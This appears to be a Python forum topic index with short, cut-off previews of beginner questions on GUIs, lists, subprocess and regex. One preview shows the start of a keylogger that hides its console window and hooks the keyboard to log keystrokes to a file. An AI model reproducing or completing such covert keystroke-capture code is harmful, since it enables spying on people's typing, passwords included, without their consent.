15,181 Topics

Member Avatar for
Member Avatar for afireinside

I had a question...Im using TKinter in python trying to build a GUI to run some command prompt scripts others have made. I am having some trouble though...pretty early on... I can open a file and get the file name, but I can not even pass the file name to …

Member Avatar for TrustyTony
0
270
Member Avatar for Kruptein

The SetValue() and GetValue() are to complicated, but it should work with WriteText()... although this always prints a newline if I press the space button...? [code=python] def OnKeyDown(self, event): insp=self.text_ctrl_1.GetInsertionPoint() words=self.text_ctrl_1.GetValue().split(" ") #get all the words hl=[["in","red"]] #syntax list All words=in should become red prev="" #previous words processed wordcount=0 for …

0
58
Member Avatar for jonb7

Hi , I am trying to show members of groups in Active Directory and then enter them into XML format but am having problems getting it to work. I am new to all this stuff but have to get this to work fairly quick. Can someone advise please. [CODE]""" Script …

Member Avatar for jonb7
0
257
Member Avatar for pythonNerd159

Hello all, just making a quick check to see if anyone can help me fix my code. I need to show the result in an entry screen... [CODE]# Tkinter class template to test apps try: # Python2 import Tkinter as tk except ImportError: # Python3 import tkinter as tk class …

Member Avatar for vegaseat
0
121
Member Avatar for shankhs

Hi frnds, I am a newbie to python ( I am learning it for 1 month now on win platform) .I came across these cool functions of python like os.path.isdir("\\\\blah\\") but since "blah" is password protected I am always getting false as return!!!! Can anyone please tell me how to …

0
63
Member Avatar for Domi

Is there any way to access a specific Window/Frame? [CODE]#!/usr/bin/python # communicate.py import wx class LeftPanel(wx.Panel): def __init__(self, parent, id): wx.Panel.__init__(self, parent, id, style=wx.BORDER_SUNKEN) self.count = 0 button1 = wx.Button(self, -1, "new frame", (-1, -1)) self.Bind(wx.EVT_BUTTON, self.OnNewFrame, id=button1.GetId()) def OnNewFrame(self,event): StockFrame(self,-1,'window %s' %self.count) self.count = self.count + 1 class StockFrame(wx.Frame): …

0
32
Member Avatar for lam-chop

I'm trying to figure out how to make a recursive maze solver, but I'm stuck at how to tell the maze to turn around and trace back its trail once it hits a dead end. Anyone able to help me?

Member Avatar for justaguy101
0
846
Member Avatar for Alq Veers

Hi guys, Im trying to bring up a new window then the Credits button located in the help menu is clicked. Im trying to run it as a command. So right now, that code doesnt work unless you comment out the creditsCommand region. So can anyone point me in the …

Member Avatar for Alq Veers
0
153
Member Avatar for spaghettios

Hi, I have written a short program that will scrape a given website for img src that have their attribute tag with id="marked". The program works, but I am not quiet sure which attributes to make private. Here is the code. [CODE]import urllib from BeautifulSoup import * class ImgScrape(object): def …

Member Avatar for ultimatebuster
0
75
Member Avatar for jozz3

I'm just playing around with basic GUI code. I have created two check boxes, and a text field below them. I want it to say, "I like Pizza", 'I like Pasta", "I like nothing", or "I like Pizza and Pasta" in the text field depending upon which checkboxes are ticked. …

Member Avatar for woooee
0
105
Member Avatar for tyuo9980

I have made a simple keylogger but there are some problems with it. [CODE]import win32api import win32console import win32gui import pythoncom, pyHook win = win32console.GetConsoleWindow() win32gui.ShowWindow(win,0) def OnKeyboardEvent(event): if event.Ascii==28: _exit(1) if event.Ascii != 0: f=open('C:\Users\Peter\Desktop\output.txt','r') buffer=f.read() f.close() f=open('C:\Users\Peter\Desktop\output.txt','w') keylogs=chr(event.Ascii) if event.Ascii==13: keylogs='/n/' if event.Ascii==32: keylogs='/s/' if event.Ascii==8: keylogs='/b/' if …

Member Avatar for tyuo9980
0
150
Member Avatar for cahram

Is it possible to search for a string in an array that is in a larger array? I have an array that contains arrays of either one, two, three, or four strings. for instance: myList[1] = ['dog', 'cat'] myList[2] = ['lizard', 'sheep', 'pig'] I want to search for 'sheep' Is …

Member Avatar for TrustyTony
0
200
Member Avatar for Robbert

Hi - I get the following "The program is still running! Do you want to kill it?" from the python IDE when I run the following splashscreen. Any ideas on how to fix it? [CODE]#!/usr/bin/python import wx class MyFrame(wx.Frame): def __init__(self, parent, id=wx.ID_ANY, title="", pos= wx.DefaultPosition, size=wx.DefaultSize, style=wx.DEFAULT_FRAME_STYLE|wx.SUNKEN_BORDER): wx.Frame.__init__(self, parent, …

Member Avatar for Robbert
0
2K
Member Avatar for nsutton

I use textwrangler for osx right now, but i want to see what other free ide's are out there. Is there one with tabs for classes and object to be separated?

Member Avatar for justaguy101
0
150
Member Avatar for richardtreier

Hi, i am currently using wx.xrc to create parts of my programs, but i got a little problem: [B]How can I add a platebutton(wx.lib.platebtn) to my xrc file?[/B]

0
51
Member Avatar for linuxoidoz

Hi, What's the easiest way to check whether an item is in a list and then get to that element and do something with it? So far I can think of [CODE] if x in List: for x in List: if x = y: do something [/CODE] Thank you.

Member Avatar for linuxoidoz
0
31K
Member Avatar for awn

Hi, I'm trying to get a python script to automatically start at boot up in xubuntu. The idea is for the python - tk-inter window to pop up just after boot up and start its routine. I have tried including the path in the application auto start, modifying bash commands, …

Member Avatar for awn
0
529
Member Avatar for valorien

Hi Everyone :-) I'm writing a small Python script that invokes the Linux shell and runs some BASH commands in it. My problem is, I can't seem to use the output and store it in a Python variable. Here's what i'm trying: [CODE] import subprocess value = subprocess.call("ls -la", shell=True) …

Member Avatar for d5e5
0
3K
Member Avatar for prashanth s j

Hi all, How to access the value of WER from the following: [code] valuesfor1 = [('WER', 100)] valuesfor2= [('WER', 700)] [/code] My requirement is I need to compare WER from valuesfor1 with WER from valuesfor2. ie something like [code] if [('WER', 100)] < [('WER', 700)] : print "values for 2 …

Member Avatar for TrustyTony
0
108
Member Avatar for Kruptein

Is there a way to catch the text a user types, then do some function on it and then return it to the screen? input(text) -> function(text) -> output(text) I want to colourize certain words, so I want the function to find those words and then colorize them..

Member Avatar for Kruptein
0
389
Member Avatar for bpinheiro0186

Hey folks, I am new on the forum and new to Python. I am making a news site and using python/django. My site will get all the news from the DB and fill up the template. As there is about 10 lines for the news and at some moment i …

Member Avatar for TrustyTony
0
120
Member Avatar for giri.pankaj

This code takes in a scrambled input word and gives out the unscrambled list of words. Eg... Input = time Output = mite, item, emit etc. I had posted an unscrambler in java sometime ago. This one is the improvement over the previous one. In the sense, the java unscrambler …

Member Avatar for TrustyTony
0
4K
Member Avatar for mehdi0016

hi i'm looking for a python lib or module to draw text as graphic and save it as png, but i also need to support right-to-left languages like Farsi. i tested PIL with no success for unicode rtl texts(it draws text reverse and un-joint). so what do you suggest? (it's …

Member Avatar for TrustyTony
0
92
Member Avatar for mysticstylez

Hi, I have a text file that contains bunch of phone numbers. Some contain invalid characters and some are too long. How do i read this file into a list using regex. I only want valid phone numbers to populate the list, and skip the invalid ones. this is what …

Member Avatar for TrustyTony
0
7K
Member Avatar for deedee2

Hi there, I was wondering if anyone could help me find a procedure in python that takes in an unsorted list, and returns the difference between the largest and smallest values in the list, without using the built in max/min/sort procedures. Thank you!

Member Avatar for deedee2
0
108
Member Avatar for bharatk

Hello I have 4 .py files along with __init__.py in a folder. I want to create a file which would act as a menu and load classes from the files in that folder. I have that file outside the folder. The contents of that file: [CODE]from files import * print …

Member Avatar for bharatk
0
221
Member Avatar for pythonNerd159

im currently trying to create a button widget using Tkiner and would like to know how to get a number from that button when i click on it. I have tried lots of methods and ideas from different people and i still haven't got the right bit of code. any …

Member Avatar for pythonNerd159
0
168
Member Avatar for ewiggin

I am a beginner, and I am trying to run my first script in the windows command line. When I try to open the file I get the following error: >>> script1 Traceback (most recent call last): File "<stdin>", line 1, in <module> NameError: name 'script1' is not defined I …

Member Avatar for Hummdis
0
151
Member Avatar for sneekula

I have a text I want to search for all it's upper case letters, then present these letters unique and sorted. I welcome any suggestions.

Member Avatar for twekberg
0
318
Member Avatar for a_jan2002

I have been working on connect five in python as a project. I have got this far but I cannot figure out how to make history of the things that have been clicked and how to undo. This is what i have got so far. I cannot make the player …

0
32

The End.